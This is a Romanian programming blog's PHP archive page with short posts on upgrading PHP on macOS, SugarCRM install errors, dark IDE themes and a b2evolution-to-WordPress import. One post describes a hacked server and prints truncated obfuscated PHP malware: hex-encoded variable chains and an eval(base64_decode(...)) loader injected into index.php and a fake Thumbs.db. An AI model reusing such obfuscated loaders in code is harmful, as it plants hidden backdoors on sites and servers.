Category Archives: PHP

Screen Shot 2016-08-22 at 14.58.47

Instalare Php 5.6 pe un Max OsX El Capitan

os_x_el_capitan_roundupDaca intelegi titlul, inseamna ca poate te intereseaza acest articol. Versiunea El Capitan de sistem de operare pentru calculatoare Apple, vine cu o versiune de webserver instalata in sistem, adica un Apache cu PHP. Versiunea de PHP este 5.5.x. Unele aplicatii, de exemlpu PHPUnit sau Composer, au nevoie de o versiune mai mare, minim 5.6.x.

Sunt destule articole despre acest upgrade:

Erori la instalare SugarCRM

Ammai incarcat acum 1 an si ceva sa instalez un CRM, numit SugarCRM. Tot de aceleasi erori am dat si de data aceasta si opinia facuta din prima a fost proasta. Contine niste declarari de clase cu metode statice, care se calca una pe alta si genereaza erori de tip Strict si alte comenzi Deprecated.

Sugar_Setup_Wizard_Welcome_to_the_SugarCRM_6.5.23_Setup_Wizard_-_2016-04-15_20.13.49

Instalarea dupa ascunderea notificarilor Strict s-a putut desfasura, dar accesul e oprint din cauza ca se tipareste ceva inaintea deschiderii sesiunii. Solutia este ca in index.php sa fie specificata ascunderea erorilor de tip Strict si Deprecated.

error_reporting(E_ALL ^ E_STRICT ^ E_DEPRECATED);

Temele de culori inchise in IDE pentru programatori

PHPStormEu folosesc tema clasica, alba, fara prea multe modificari in zona de mediu de programare. Programele IDE in genul Eclipse (si alte implementari peste Eclipse) sau PhpStorm, au multe optiuni prin care iti poti parametriza culorile si multe alte zeci de chestii. Am inceput cu Notepad-ul, cu mcedit-ul si acum folosesc PhpStorm, Eclipse, Sublime sau vi, depinde pe ce sistem ma aflu: Windows, MacOx sau Linux.

Am gasit intr-un articol despre scurtaturile din PHPStom, niste argumente pentru temele inchise.

Dark themes for readability
Many people underestimate a good theme, dismissing it outright as flair or pure vanity. This is wrong – a good theme is a good user experience – it increases readability and makes you notice errors, keywords and all the syntax spice intuitively, without having to think about it. There are several benefits to using dark themes:

  • when looking at a bright display, your eyes get fatigued faster, especially at night (which is when most programmers tend to do their work). On dark displays, instead of focusing on the entire bright screen and trying to discern holes in it (darkness – letters), your eyes are immediately drawn to the bright parts – the text, ignoring the background altogether.
  • I subjectively claim that colors are easier to notice when on darker backgrounds. Naturally, this means the colors should have a decent, but not too strong contrast to the background
  • It’s a known fact that blue light from self-lit displays suppresses melatonin, which in turn disrupts your sleep patterns. If you find yourself having difficulty falling asleep after a 4AM coding session despite feeling utterly obliterated by fatigue, try a darker theme and exposing yourself to less light in general when working at night.

Things to look for in a theme are mid-range contrasts. Avoid absolutes – the background shouldn’t be pure black, and the text shouldn’t be pure white/red/green/orange. These sharp contrasts confuse and strain the eye just as much as having an all-white background and all-dark text does. Instead, look for pastel, smokey colors. Likewise, increasing the font is usually a good idea, if the theme’s default is tiny. The eyes strain when reading too small letters, and if the spacing isn’t good enough either, you’ll have a hard time reading anything without welcoming a headache. Two of my suggestions for darker themes are Darcula, which comes built into PhpStorm, and Solarized.

Succes la programare, sunt chiar curios de acest Solarized.
Solarized

Servere cu forumuri, wordpress-uri sparte de hackeri

In luna noiembrie 2011 am intalnit un server spart de hackeri. Pe scurt, fisierele index.php au fost editate si la final li s-a adaugat o linie lunga, ce contine urmatoarele linii (am taiat un pic din cârnații de caractere, pentru a nu pune codul în totalitate):

if (!isset($eva1fYlbakBcVSir)) {
$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1ZzkFcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2dlTshEcMhHT8xFeMx2T4xjWkNTUwVGNdVzWvV1Wc9WT2wlbqZVX3lEclhTTKdWf8oEZzkVNdp2NwZGNVtVX8dmRPF3N1U2cVZDX4lVcdlWWKd2aZBnZtVFfNJ3N1U2cVZDX4lVcdl...";
$eva1tYldakBcVSir = "x73164x72162x65...";
$eva1tYldakBoVS1r = "x65143x61154x70...";
$eva1tYidokBoVSjr = "x3b51x29135x31...";
$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);
$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);
$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);
$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];
$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);
$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));
$eva1tYldakBcVSir = "";
$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
$eva1tYldakBcVSir = "x73164x72x65143x72160164x72";
$eva1tYlbakBcVSir = "x67141x6f133x70170x65";
$eva1tYldakBoVS1r = "x65143x72160";
$eva1tYldakBcVSir = "";
$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
}
*/

Codul de mai sus nu functioneaza impreuna cu inca un fisier – numit Thumbs.db – si situat in acelasi director. Exempu de cod din acest fisier:

eval(base64_decode("aWYgKCRldmFsSnlDZUxxSXN0WG9wdWggIT0gNjQ4NzIpIHtmdW5jdGlvbiBldmFsV3FmR0RMSk...
Continue reading »

Import din b2evolution in wordpress

Site-ul cicerone.ro a functionat din 2006 pana in 2010 pe o versiune de blog, numita b2evolution. Dupa modificarea site-ului cicerone.ro cu instalarea unui WordPress MU, pentru a avea mai mule bloguri, au trebuit importate 4000 de articole in noua baza de date.

Importul din b2evolution in wordpress l-am facut cu un script special, avand documentatia la adresa: codex.wordpress.org/Importing_Content.

Problemele tehnice si pasii au fost:
1. se creaza blogul wordpress nou

2. scriptul de mai sus a avut erori din cauza ca este cam vechi. Partea de conexiune la baza de date wordpress avea lipsa parametru de conexiune la functia select().
Solutia: modificarea tuturor apelurilor functiei select cu adaugarea inca a unui parametru:
$wpdb->select(DB_NAME, $wpdb->dbh);
$wpdb->select($b2_db, $wpdb->dbh);

3. tabelele de la b2evolution (default cu prefix “evo_”) au trebuit sa existe in aceeasi baza de date cu cele ale wordpress-ului (defatult cu prefix “wp_”).

4. fiind o instalarea WordPress MU, exista mai multe tabele in aceeasi baza de date. Trebuie cautat numarul (identificatorul) bazei de data a noului blog (ex: numarul 4)

5. se modifica fisierul wordpressului, din diractorul radacina, cu ID-ul blogului activ:
if ( ! isset($blog_id) )
$blog_id = 4; // aici se pune ID-ul blogului de la punctul 4

Sper sa ajute pe cineva aceste informatii, succes la import